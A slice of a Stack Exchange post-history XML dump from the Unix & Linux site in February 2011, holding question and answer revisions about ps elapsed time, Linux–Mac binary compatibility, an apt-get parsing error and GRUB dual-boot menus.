  <row Id="18450" PostHistoryTypeId="3" PostId="7870" RevisionGUID="835df92e-a5a3-4a2c-811f-a732553d6da4" CreationDate="2011-02-22T21:14:32.783" UserId="688" Text="éprocessà" />
  <row Id="18451" PostHistoryTypeId="2" PostId="7871" RevisionGUID="f0fe6d92-53ec-445c-b65a-0760b2d0d46d" CreationDate="2011-02-22T21:20:48.117" UserId="2511" Text="`ps -p $$ -o etime=`&#xD;&#xA;&#xD;&#xA;Where `$$` is the PID of the process you want to check. This will return the elapsed time in the format `[[dd-]hh:]mm:ss`." />
  <row Id="18452" PostHistoryTypeId="2" PostId="7872" RevisionGUID="8cce08e3-c866-45b2-ac26-1bcfbec479e5" CreationDate="2011-02-22T21:20:50.513" UserId="73" Text="`ps` takes a `-o` option to specify the output format, and one of the available columns is `etime`. According to the man page:&#xD;&#xA;&#xD;&#xA;&gt; etime - elapsed time since the process was started, in the form [[dd-]hh:]mm:ss.&#xD;&#xA;&#xD;&#xA;Thus you can run this to get the PID and elapsed time of every process:&#xD;&#xA;&#xD;&#xA;    $ ps -eo pid,etime&#xD;&#xA;&#xD;&#xA;If you want the elapsed time of a particular PID (e.g. 12345), you can do something like:&#xD;&#xA;&#xD;&#xA;    $ ps -eo pid,etime | awk '/^12345/ {print $2}'&#xD;&#xA;&#xD;&#xA;(**Edit**: Turns out there's a shorter syntax for the above command; see [mattdm's answer](http://unix.stackexchange.com/questions/7870/how-to-check-how-a-long-a-program-has-been-running/7871#7871))" />
  <row Id="18453" PostHistoryTypeId="2" PostId="7873" RevisionGUID="8b4e62a3-0518-4d23-9dfc-aefa1e60dcf4" CreationDate="2011-02-22T21:31:00.220" UserId="885" Text="Portable:&#xD;&#xA;&#xD;&#xA;    % ps -o stime,time $$&#xD;&#xA;    STIME     TIME&#xD;&#xA;    Jan30 00:00:06&#xD;&#xA;&#xD;&#xA;i.e. that shell was started on January 30 and totaled about 6 seconds of CPU time.&#xD;&#xA;&#xD;&#xA;There may be more precise or more parseable but less portable ways to get this information. Check the documentation of your `ps` command or your `proc` filesystem.&#xD;&#xA;&#xD;&#xA;Under Linux, this information lives in [`/proc/$pid/stat`](http://www.kernel.org/doc/Documentation/filesystems/proc.txt).&#xD;&#xA;&#xD;&#xA;    awk '{print &quot;CPU time: &quot; $14+$15; print &quot;start time: &quot; $22}' /proc/$$/stat&#xD;&#xA;&#xD;&#xA;The CPU time is in jiffies; I don't know offhand how to find the jiffy value from the shell. The start time is relative to the boot time (found in `/proc/uptime`).&#xD;&#xA;" />
  <row Id="18454" PostHistoryTypeId="5" PostId="7871" RevisionGUID="081b4c8a-a0d5-4eaf-aa8a-9f14717c1421" CreationDate="2011-02-22T21:38:24.623" UserId="2511" Comment="added 509 characters in body" Text="`ps -p $$ -o etime=`&#xD;&#xA;&#xD;&#xA;Where `$$` is the PID of the process you want to check. This will return the elapsed time in the format `[[dd-]hh:]mm:ss`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `ps` program gets this from `/proc/$$/stat`, where one of the fields (see `man proc`) is process start time. This is, unfortunately, specified to be the time in jiffies (an arbitrary time counter used in the Linux kernel) since the system boot. So you have to determine the time at which the system booted (from `/proc/stat`), the number of jiffies per second on this sytem, and then do the math to get the elapsed time in a useful format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So it's convenient that `ps` does that all for you. :)" />
  <row Id="18455" PostHistoryTypeId="2" PostId="7874" RevisionGUID="421ad5b3-6138-4e30-8da5-1368e1423177" CreationDate="2011-02-22T21:54:03.690" UserId="4994" Text="Brace yourselves, this question will likely appear naive and/or foolish, seeing as I am relatively new to the inner workings of unix like systems, and programming in general.&#xD;&#xA;&#xD;&#xA;Ready? Ok! I will go through about 3 levels of ludicrosity, increasing as I go along.&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;We have two systems with similar hardware (main point being the processor, let us say a standard intel core 2 duo).&#xD;&#xA;&#xD;&#xA;One is running (insert your linux distro here: Ubuntu will be used henceforth), and the other is running let's say Mac OS X.&#xD;&#xA;&#xD;&#xA;One compiles an equivalent program, Let us say something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;int main()&#xD;&#xA;{&#xD;&#xA;    int cat = 33;&#xD;&#xA;    int dog = 5*cat;&#xD;&#xA;&#xD;&#xA;    return dog;&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;*The code is extremely simple, because I don't want to consider the implications of shared libraries yet.&#xD;&#xA;&#xD;&#xA;When compiled on the respective systems. Is not the main difference between the output a matter of ELF vs Mach-O? If one were to strip each binary of the formatting, leaving a flat binary, wouldn't the disassembled machine instructions be the same? (with perhaps a few differences depending on the compilers habits/tendencies).&#xD;&#xA;&#xD;&#xA;&lt;b&gt;1.)&lt;/b&gt; If one were to develop a program to repackage the flat binary produced from our Ubuntu system, in the Mach-O formatting, would it run in the Mac OS X system? Then, if one only had the compiled binary of the supposed program above, and one had this mystical tool for repackaging flat binaries, would simple programs be able to run on the Mac OS X system?&#xD;&#xA;&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;Now let us take it a bit further.&#xD;&#xA;&#xD;&#xA;We now have a program with source such as:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;#include &lt;stdio.h&gt;&#xD;&#xA;&#xD;&#xA;int main()&#xD;&#xA;{&#xD;&#xA;    printf(&quot;I like tortoises, but not porpoises&quot;);&#xD;&#xA;    return 0;&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;b&gt;2.)&lt;/b&gt;Assuming this program is compiled and statically linked, would our magical program still be able to repackage the raw binary in the Mach-O format and have it work on mac os X? Seeing as it would not need to rely on any other binaries, (for which the mac system would not have in this case)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;And now for the final level;&#xD;&#xA;&#xD;&#xA;&lt;b&gt;3.)&lt;/b&gt;What if we used this supposed program to convert all of the necessary shared libraries to the Mach-O format, and then instead compiled the program above with dynamic linking. Would the program still succeed to run?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That should be it for now, obviously each step of absurdity relies on the previous base, to even make sense. so If the very first pillar gets destroyed, I doubt there would be much merit to the remaining tiers.&#xD;&#xA;&#xD;&#xA;I definitely would not even go as far as to think of this with programs with GUI's in mind. Windowing systems would likely be a whole other headache. I am only considering command line programs at this stage.&#xD;&#xA;&#xD;&#xA;Now, I invite the world to correct me,and tell me everything that is wrong with my absurd line of thinking.&#xD;&#xA;&#xD;&#xA;n.b.  I wasn't exactly sure where to post this . . .but posted it here since it seems to have more to do with the underlying intricacies of the operating system, than programming itself." />
  <row Id="18456" PostHistoryTypeId="1" PostId="7874" RevisionGUID="421ad5b3-6138-4e30-8da5-1368e1423177" CreationDate="2011-02-22T21:54:03.690" UserId="4994" Text="Flat binary compatability between Mac OS X and Linux, Implications for converting a Linux binary to work on Mac OS X?" />
  <row Id="18457" PostHistoryTypeId="3" PostId="7874" RevisionGUID="421ad5b3-6138-4e30-8da5-1368e1423177" CreationDate="2011-02-22T21:54:03.690" UserId="4994" Text="élinuxàéprogrammingàébinaryà" />
  <row Id="18458" PostHistoryTypeId="2" PostId="7875" RevisionGUID="82bfb628-2e96-4932-ae6d-4a980e68ee71" CreationDate="2011-02-22T22:02:36.160" UserId="4869" Text="You forget one crucial thing, namely that your program will have to interact with the operating system to do anything interesting.&#xD;&#xA;&#xD;&#xA;The conventions are different between Linux and OS X so the same binary cannot run as-is without essentially having a chunk of operating system dependent code to be able to interact with it.  Many of these things are hidden away in libraries, which you then need to link in, and that means your program needs to be linkable, and linking is also different between the two systems.&#xD;&#xA;&#xD;&#xA;And so it goes on and on.  What on the surface sounds like doing the same thing is very different in the actual details.&#xD;&#xA;" />
  <row Id="18459" PostHistoryTypeId="5" PostId="7739" RevisionGUID="05505872-5d2c-49e9-a96b-673cad2c61f4" CreationDate="2011-02-22T22:05:13.093" UserId="3519" Comment="edited body" Text="You may want to try :&#xD;&#xA;&#xD;&#xA;    eval rm foo.{$ext0..$extN}&#xD;&#xA;&#xD;&#xA;Not sure whether this is the best answer, but it certainly is one." />
  <row Id="18460" PostHistoryTypeId="5" PostId="682" RevisionGUID="08a2b237-974e-4941-8bcb-ad2cb772bb81" CreationDate="2011-02-22T22:19:12.077" UserId="688" Comment="consistency; edited body" Text="I would like to know how the OS works *in a nutshell*:&#xD;&#xA;&#xD;&#xA; - The basic components it's built upon&#xD;&#xA; - How those components work together&#xD;&#xA; - What makes unix UNIX&#xD;&#xA; - What makes it so different from other OSs like Windows&#xD;&#xA;" />
  <row Id="18461" PostHistoryTypeId="2" PostId="7876" RevisionGUID="db5231a2-0e21-4401-9d44-c0dda62f37b8" CreationDate="2011-02-22T22:23:48.483" UserId="73" Text="&#xA;&lt;p&gt;&#xA;    On Stack Exchange, we believe the core moderators should come &lt;i&gt;from&lt;/i&gt; the community, and be elected by the community&#xA;    itself through popular vote. We hold regular elections to determine who these community moderators will be.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Community moderators are &lt;a href=&quot;http://blog.stackoverflow.com/2009/05/a-theory-of-moderation/&quot;&gt;accorded the highest level of &#xA;    privilege on our community&lt;/a&gt;, and should themselves be exemplars of positive behavior and leaders within the community.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Our general criteria for moderators is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;patient and fair&lt;/li&gt;&#xA;    &lt;li&gt;leads by example&lt;/li&gt;&#xA;    &lt;li&gt;shows respect for their fellow community members in their actions and words&lt;/li&gt;&#xA;    &lt;li&gt;open to some light but firm moderation to keep the community on track and resolve (hopefully) uncommon disputes and exceptions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;    Every election has three phases:&#xA;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Nomination&lt;/li&gt;&#xA;    &lt;li&gt;Primary&lt;/li&gt;&#xA;    &lt;li&gt;Election&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;    You can read more about the election process &lt;a href=&quot;http://blog.stackoverflow.com/2010/12/stack-exchange-moderator-elections-begin/&quot;&gt;on the blog&lt;/a&gt;, and ask any questions &lt;a href=&quot;http://meta.unix.stackexchange.com/questions/ask?tags=election&quot;&gt;on meta&lt;/a&gt;. If you're looking for a ton of detail and statistics on all the nominees, see the &lt;a href=&quot;http://se.awio.com/election.html&quot;&gt;election page&lt;/a&gt; put together by community member &lt;a href=&quot;http://meta.stackoverflow.com/users/150097/yi-jiang&quot;&gt;Yi Jiang&lt;/a&gt;.&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Please participate in the moderator elections by voting, and perhaps even by nominating yourself to be a community moderator!&#xA;&lt;/p&gt;" />
  <row Id="18462" PostHistoryTypeId="6" PostId="7874" RevisionGUID="4fe44e4b-f3ba-448f-9816-339035f5a368" CreationDate="2011-02-22T22:26:37.760" UserId="885" Comment="edited tags" Text="élinuxàéexecutableàéprogrammingà" />
  <row Id="18463" PostHistoryTypeId="6" PostId="719" RevisionGUID="39df0b1c-1895-4644-a8bb-22e02f931258" CreationDate="2011-02-22T22:26:50.690" UserId="885" Comment="edited tags" Text="élinuxàédebuggingàéexecutableàéelfàécompilerà" />
  <row Id="18464" PostHistoryTypeId="2" PostId="7877" RevisionGUID="340548ff-7234-463b-9800-edc4c4e39b3f" CreationDate="2011-02-22T22:41:50.410" UserId="4996" Text="this is a shot in the dark, but we used to have these inexplicable issues with virtual box in connection with using bridged networking and offloading. Try&#xD;&#xA;&#xD;&#xA;    ethtool -K eth0 tx off&#xD;&#xA;&#xD;&#xA;this should be fixed in the 4.x series as far as I know." />
  <row Id="18465" PostHistoryTypeId="25" PostId="7870" RevisionGUID="4e4e771b-b1df-4243-a357-94ab7d0bbea5" CreationDate="2011-02-22T23:23:16.227" Comment="http://twitter.com/#!/StackUnix/status/40189911571103744" />
  <row Id="18466" PostHistoryTypeId="2" PostId="7878" RevisionGUID="529eee7d-aec3-44ce-944e-39f896265782" CreationDate="2011-02-22T23:27:40.183" UserId="688" Text="I was having some serious network troubles, and now running `sudo apt-get update` gives this error:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    Hit ftp://ftp.is.co.za experimental/contrib i386 Packages&#xD;&#xA;    Reading package lists... Error!&#xD;&#xA;    E: Encountered a section with no Package: header&#xD;&#xA;    E: Problem with MergeList /var/lib/apt/lists/ftp.is.co.za_debian_dists_testing_main_binary-i386_Packages&#xD;&#xA;    E: The package lists or status file could not be parsed or opened.&#xD;&#xA;&#xD;&#xA;It's an odd one because I've never seen it before. Have you experienced it? How can I fix it?" />
  <row Id="18467" PostHistoryTypeId="1" PostId="7878" RevisionGUID="529eee7d-aec3-44ce-944e-39f896265782" CreationDate="2011-02-22T23:27:40.183" UserId="688" Text="Odd problem regarding 'apt-get update'" />
  <row Id="18468" PostHistoryTypeId="3" PostId="7878" RevisionGUID="529eee7d-aec3-44ce-944e-39f896265782" CreationDate="2011-02-22T23:27:40.183" UserId="688" Text="édebianàéaptà" />
  <row Id="18469" PostHistoryTypeId="2" PostId="7879" RevisionGUID="2c7acf7a-1056-4203-953d-d075db218489" CreationDate="2011-02-22T23:36:53.360" UserId="885" Text="The file was corrupted somewhere. I thought running `apt-get update` would fix it. If it doesn't, remove the file (`sudo rm /var/lib/apt/lists/ftp.is.co.za_debian_dists_testing_main_binary-i386_Packages`) and try `apt-get update`. If that still downloads a broken file, there may be an invalid entry in a cache somewhere between you and the server. Try using a different Debian mirror for a couple of days.&#xD;&#xA;" />
  <row Id="18470" PostHistoryTypeId="2" PostId="7880" RevisionGUID="934b916e-a098-46dc-b851-4d225ddf1387" CreationDate="2011-02-22T23:36:59.703" UserId="688" Text="Steps to fix:&#xD;&#xA;&#xD;&#xA;1. Disable Testing suite&#xD;&#xA;2. `sudo apt-get update`&#xD;&#xA;3. Re-enable Testing suite&#xD;&#xA;4. `sudo apt-get update`&#xD;&#xA;" />
  <row Id="18471" PostHistoryTypeId="2" PostId="7881" RevisionGUID="bb7cb73c-7363-4529-980f-4c49fd0449b0" CreationDate="2011-02-23T00:04:55.593" UserId="885" Text="    $ readlink /sys/class/net/wlan0/device/driver&#xD;&#xA;    ../../../../bus/pci/drivers/ath5k&#xD;&#xA;&#xD;&#xA;In other words, the `/sys` hierarchy for the device (`/sys/class/net/$interface/device`) contains a symbolic link to the `/sys` hierarchy for the driver. There you'll also find a symbolic link to the `/sys` hierarchy for the module, if applicable. This applies to most devices, not just wireless interfaces.&#xD;&#xA;" />
  <row Id="18472" PostHistoryTypeId="6" PostId="7817" RevisionGUID="63cf3f19-1372-41c6-8541-3fc55c715972" CreationDate="2011-02-23T00:05:19.243" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàédriversàéwirelessàéwifià" />
  <row Id="18473" PostHistoryTypeId="5" PostId="7874" RevisionGUID="465c3058-a9a3-4868-a007-6add8865494a" CreationDate="2011-02-23T00:34:27.030" UserId="885" Comment="title; formatting" Text="Brace yourselves, this question will likely appear naive and/or foolish, seeing as I am relatively new to the inner workings of unix like systems, and programming in general.&#xD;&#xA;&#xD;&#xA;Ready? Ok! I will go through about 3 levels of ludicrosity, increasing as I go along.&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;We have two systems with similar hardware (main point being the processor, let us say a standard intel core 2 duo).&#xD;&#xA;&#xD;&#xA;One is running (insert your linux distro here: Ubuntu will be used henceforth), and the other is running let's say Mac OS X.&#xD;&#xA;&#xD;&#xA;One compiles an equivalent program, Let us say something like:&#xD;&#xA;&#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;        int cat = 33;&#xD;&#xA;        int dog = 5*cat;&#xD;&#xA;        return dog;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The code is extremely simple, because I don't want to consider the implications of shared libraries yet.&#xD;&#xA;&#xD;&#xA;When compiled on the respective systems. Is not the main difference between the output a matter of ELF vs Mach-O? If one were to strip each binary of the formatting, leaving a flat binary, wouldn't the disassembled machine instructions be the same? (with perhaps a few differences depending on the compilers habits/tendencies).&#xD;&#xA;&#xD;&#xA;&lt;b&gt;1.)&lt;/b&gt; If one were to develop a program to repackage the flat binary produced from our Ubuntu system, in the Mach-O formatting, would it run in the Mac OS X system? Then, if one only had the compiled binary of the supposed program above, and one had this mystical tool for repackaging flat binaries, would simple programs be able to run on the Mac OS X system?&#xD;&#xA;&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;Now let us take it a bit further.&#xD;&#xA;&#xD;&#xA;We now have a program with source such as:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;        printf(&quot;I like tortoises, but not porpoises&quot;);&#xD;&#xA;        return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&lt;b&gt;2.)&lt;/b&gt;Assuming this program is compiled and statically linked, would our magical program still be able to repackage the raw binary in the Mach-O format and have it work on mac os X? Seeing as it would not need to rely on any other binaries, (for which the mac system would not have in this case)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;And now for the final level;&#xD;&#xA;&#xD;&#xA;&lt;b&gt;3.)&lt;/b&gt;What if we used this supposed program to convert all of the necessary shared libraries to the Mach-O format, and then instead compiled the program above with dynamic linking. Would the program still succeed to run?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That should be it for now, obviously each step of absurdity relies on the previous base, to even make sense. so If the very first pillar gets destroyed, I doubt there would be much merit to the remaining tiers.&#xD;&#xA;&#xD;&#xA;I definitely would not even go as far as to think of this with programs with GUI's in mind. Windowing systems would likely be a whole other headache. I am only considering command line programs at this stage.&#xD;&#xA;&#xD;&#xA;Now, I invite the world to correct me,and tell me everything that is wrong with my absurd line of thinking.&#xD;&#xA;" />
  <row Id="18474" PostHistoryTypeId="4" PostId="7874" RevisionGUID="465c3058-a9a3-4868-a007-6add8865494a" CreationDate="2011-02-23T00:34:27.030" UserId="885" Comment="title; formatting" Text="Binary compatibility between Mac OS X and Linux" />
  <row Id="18475" PostHistoryTypeId="4" PostId="7809" RevisionGUID="fa2d12be-e14d-4a1a-baec-0414afbd9f96" CreationDate="2011-02-23T00:35:36.327" UserId="885" Comment="shortened title" Text="How to make functions created in a bash script persist like those in .bashrc?" />
  <row Id="18476" PostHistoryTypeId="5" PostId="7026" RevisionGUID="4ea0004e-90dc-4da1-b704-169d7ac87998" CreationDate="2011-02-23T00:36:57.980" UserId="885" Comment="shortened title" Text="I know the OpenBSD team wrote a from-scratch replacement for `ntpd`—[OpenNTPD][1]—that is available via `pkgsrc`/`ports`. My question is more about the base system: Is OpenNTPD the default `ntpd` in the base system in NetBSD or FreeBSD? For that matter, what about Linux distros, some of which (Gentoo or Arch, for example) are more &quot;BSDish&quot;?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;[1]: http://www.openntpd.org/" />
  <row Id="18477" PostHistoryTypeId="4" PostId="7026" RevisionGUID="4ea0004e-90dc-4da1-b704-169d7ac87998" CreationDate="2011-02-23T00:36:57.980" UserId="885" Comment="shortened title" Text="Has OpenBSD's ntpd replacement been ported to other BSDs? Or Linux?" />
  <row Id="18478" PostHistoryTypeId="2" PostId="7882" RevisionGUID="ffdcd69e-db38-4c64-af0b-185c14278483" CreationDate="2011-02-23T01:43:20.337" UserId="5002" Text="Hello all&#xD;&#xA;I do most of my work (involves a lot of C/Python) on a development server that is shared with several other people.  As a result we all seem to do a bit of the system administration chores (there is no sysadmin).  This tends to work alright, but installing and maintaining packages and libraries tends to be messy.  Lately I've found myself installing and building more and more packages etc in my home directory.  What is the best way to formalize/streamline this process?  Right now I am merely ./configuring with --prefix, setting my path so that my ~/usr/bin comes before usr/bin, etc, and trying to set LD_LIBRARY_PATH and C_INCLUDE_PATH and PYTHONPATH properly, but this is becoming error-prone and painful.  Is there a more &quot;automated&quot; method?&#xD;&#xA;Thanks for any help" />
  <row Id="18479" PostHistoryTypeId="1" PostId="7882" RevisionGUID="ffdcd69e-db38-4c64-af0b-185c14278483" CreationDate="2011-02-23T01:43:20.337" UserId="5002" Text="best way to set up separate linux environment in ~" />
  <row Id="18480" PostHistoryTypeId="3" PostId="7882" RevisionGUID="ffdcd69e-db38-4c64-af0b-185c14278483" CreationDate="2011-02-23T01:43:20.337" UserId="5002" Text="éconfigurationàéenvironmentövariablesàécompilingà" />
  <row Id="18481" PostHistoryTypeId="2" PostId="7883" RevisionGUID="a6a6dace-20c9-469d-8540-be16747108ad" CreationDate="2011-02-23T01:45:01.600" UserId="898" Text="I have a couple of years of experience with ubuntu, but this is my first time with a non-ubuntu based distribution. I managed to successfully install Crunchbang from a bootable usb stick, created with unetbootin (my hom laptop's cd drive is dead) and at the end of installation, it asked me whether I wanted to install grub. It said that it detected the windows operating system that was already there and that it should be fine if all my operating systems are listed.&#xD;&#xA;&#xD;&#xA;So, I let it install grub and now when I boot into my machine only a couple of Crunchbang listings appear in the grub boot menu. My windows has become inaccessible.&#xD;&#xA;&#xD;&#xA;With the little experience I had, I tried to look for the menu.lst file which I expect to list the entries that would be shown in the grub boot menu. But I couldn't find that file. Perhaps #! puts it in a different location?&#xD;&#xA;&#xD;&#xA;I want to get my windows be listed in the grub boot menu. Any ideas?" />
  <row Id="18482" PostHistoryTypeId="1" PostId="7883" RevisionGUID="a6a6dace-20c9-469d-8540-be16747108ad" CreationDate="2011-02-23T01:45:01.600" UserId="898" Text="Grub does not list windows after crunchbang installation" />
  <row Id="18483" PostHistoryTypeId="3" PostId="7883" RevisionGUID="a6a6dace-20c9-469d-8540-be16747108ad" CreationDate="2011-02-23T01:45:01.600" UserId="898" Text="égrubàédualöbootàébootömenuàécrunchbangà" />
  <row Id="18484" PostHistoryTypeId="5" PostId="7883" RevisionGUID="e7dccd79-77fd-4cbf-b32c-96e4dbaa78f1" CreationDate="2011-02-23T01:51:58.530" UserId="898" Comment="update in the path to finding a solution" Text="I have a couple of years of experience with ubuntu, but this is my first time with a non-ubuntu based distribution. I managed to successfully install Crunchbang from a bootable usb stick, created with unetbootin (my hom laptop's cd drive is dead) and at the end of installation, it asked me whether I wanted to install grub. It said that it detected the windows operating system that was already there and that it should be fine if all my operating systems are listed.&#xD;&#xA;&#xD;&#xA;So, I let it install grub and now when I boot into my machine only a couple of Crunchbang listings appear in the grub boot menu. My windows has become inaccessible.&#xD;&#xA;&#xD;&#xA;With the little experience I had, I tried to look for the menu.lst file which I expect to list the entries that would be shown in the grub boot menu. But I couldn't find that file. Perhaps crunchbang puts it in a different location?&#xD;&#xA;&#xD;&#xA;I want to get my windows be listed in the grub boot menu. Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** From a comment on the question http://unix.stackexchange.com/questions/1578/editing-grub-menu I came to know the location of the boot menus, as `/boot/grub/grub.cfg` and that file exists on my crunchbang system. I now need to know how and what to add to it to get my windows." />
  <row Id="18485" PostHistoryTypeId="5" PostId="7883" RevisionGUID="afbea600-bcda-401e-853d-b6b5409754c8" CreationDate="2011-02-23T02:03:31.057" UserId="898" Comment="Solution added" Text="I have a couple of years of experience with ubuntu, but this is my first time with a non-ubuntu based distribution. I managed to successfully install Crunchbang from a bootable usb stick, created with unetbootin (my hom laptop's cd drive is dead) and at the end of installation, it asked me whether I wanted to install grub. It said that it detected the windows operating system that was already there and that it should be fine if all my operating systems are listed.&#xD;&#xA;&#xD;&#xA;So, I let it install grub and now when I boot into my machine only a couple of Crunchbang listings appear in the grub boot menu. My windows has become inaccessible.&#xD;&#xA;&#xD;&#xA;With the little experience I had, I tried to look for the menu.lst file which I expect to list the entries that would be shown in the grub boot menu. But I couldn't find that file. Perhaps crunchbang puts it in a different location?&#xD;&#xA;&#xD;&#xA;I want to get my windows be listed in the grub boot menu. Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** From a comment on the question http://unix.stackexchange.com/questions/1578/editing-grub-menu I came to know the location of the boot menus, as `/boot/grub/grub.cfg` and that file exists on my crunchbang system. I now need to know how and what to add to it to get my windows.&#xD;&#xA;&#xD;&#xA;**Edit 2:** From the same question as above, I learned to do `sudo update-grub` which did put my windows entry in my grub boot listing and everything is fine. But I would still like to know... why wasn't it there initially when crunchbang did detect it and said that it would be added. Thanks." />
  <row Id="18486" PostHistoryTypeId="5" PostId="7871" RevisionGUID="d28912ef-8a45-404a-8e0d-3317dcd3e4ef" CreationDate="2011-02-23T02:04:15.070" UserId="2511" Comment="added 152 characters in body" Text="`ps -p $$ -o etime=`&#xD;&#xA;&#xD;&#xA;Where `$$` is the PID of the process you want to check. This will return the elapsed time in the format `[[dd-]hh:]mm:ss`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `ps` program gets this from `/proc/$$/stat`, where one of the fields (see `man proc`) is process start time. This is, unfortunately, specified to be the time in jiffies (an arbitrary time counter used in the Linux kernel) since the system boot. So you have to determine the time at which the system booted (from `/proc/stat`), the number of jiffies per second on this system (which turns out to be hard to determine, although some safe guesses can be made as long as you're not worried about keeping it working in the future), and then do the math to get the elapsed time in a useful format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So it's convenient that `ps` does that all for you. :)" />
  <row Id="18487" PostHistoryTypeId="2" PostId="7884" RevisionGUID="9c720dd1-d61f-44bc-aa57-141eb62cf4da" CreationDate="2011-02-23T02:06:48.247" UserId="138" Text="Solaris and UnixWare include a helper program called &lt;a href=&quot;http://www.ugcs.caltech.edu/~steven/lxrun/&quot;&gt;lxrun&lt;/a&gt;, which works something like `sudo`: you pass your executable name and parameters to a helper program and it fixes things up dynamically so that the executable can talk to the OS. The official page for it (previous link) says it's somewhat bitrotted.&#xD;&#xA;&#xD;&#xA;Linux's kernel once had a feature that did the reverse, except that it didn't need a helper because the kernel recognized the &quot;foreign&quot; binaries itself. This feature was called iBCS, but it died with kernel 2.2, most likely because the small Unix server battle was essentially over once 2.4 came out.&#xD;&#xA;&#xD;&#xA;Similarly, FreeBSD's kernel &lt;a href=&quot;http://www.freebsd.org/doc/en/books/handbook/linuxemu.html&quot;&gt;can be configured to recognize Linux binaries&lt;/a&gt; and run them as if they were native. FreeBSD being less popular than Linux, this feature appears to be in better shape than the above two.&#xD;&#xA;&#xD;&#xA;Irrelevant? Not at all. This is doable if someone wants to spend enough time to make it happen. No one has, yet." />
  <row Id="18488" PostHistoryTypeId="25" PostId="7874" RevisionGUID="93c2f983-fa64-4ca1-94d9-f8a82ed7a001" CreationDate="2011-02-23T02:23:16.527" Comment="http://twitter.com/#!/StackUnix/status/40235210876387329" />
  <row Id="18489" PostHistoryTypeId="2" PostId="7885" RevisionGUID="43ef62de-1bd1-40ae-955a-df15b2b4a444" CreationDate="2011-02-23T03:22:45.797" UserId="250" Text="Your question seemed to be solved already, I just want to add some information:&#xD;&#xA;&#xD;&#xA; - You could not find the file `menu.lst` because it belongs to Grub Legacy. A lot of distros are switching to Grub 2 as the default boot loader, including Crunchbang.&#xD;&#xA; - `grub.cfg` is there, but it isn't meant to be edited. The proper way to do it is to edit the files in `/etc/grub.d/` then run `grub-mkconfig`.&#xD;&#xA; - Some distros (I think Debian based) have a script named `update-grub` that can probe your system, populate `/etc/grub.d/` and run `grub-mkconfig` in one shot.&#xD;&#xA; - I agree with xenoterracide about the possibility of a bug in the installer. If you can reproduce it then consider submitting a bug report so the Crunchbang developers can fix it." />
  <row Id="18490" PostHistoryTypeId="5" PostId="7882" RevisionGUID="8cb19c8b-ab4e-451b-8c3b-b2552a64bcbf" CreationDate="2011-02-23T03:30:58.627" UserId="73" Comment="deleted 16 characters in body" Text="I do most of my work (involves a lot of C/Python) on a development server that is shared with several other people.  As a result we all seem to do a bit of the system administration chores (there is no sysadmin).  This tends to work alright, but installing and maintaining packages and libraries tends to be messy.&#xD;&#xA;&#xD;&#xA;Lately I've found myself installing and building more and more packages etc in my home directory. What is the best way to formalize/streamline this process?  Right now I am merely `./configuring` with `--prefix`, setting my path so that my `~/usr/bin` comes before `usr/bin`, etc, and trying to set `LD_LIBRARY_PATH` and `C_INCLUDE_PATH` and `PYTHONPATH properly, but this is becoming error-prone and painful.  Is there a more &quot;automated&quot; method?&#xD;&#xA;" />
  <row Id="18491" PostHistoryTypeId="2" PostId="7886" RevisionGUID="a2de637d-69a7-4129-846f-8c5e9554b1d2" CreationDate="2011-02-23T05:02:01.390" UserId="3111" Text="Are you able to use a package manager, such as pacman (arch linux), emerge (gentoo), apt-get (Debian-based - such as Ubuntu), yum (RHEL)?&#xD;&#xA;&#xD;&#xA;IF these are custom installs that require specific version, then you should be installing them system-wide in /usr/bin and running them as specific user (non privileged)." />
  <row Id="18492" PostHistoryTypeId="25" PostId="7882" RevisionGUID="c33a6309-1d49-4698-a8cf-4b98017dd2e5" CreationDate="2011-02-23T05:23:16.597" Comment="http://twitter.com/#!/StackUnix/status/40280509988741120" />
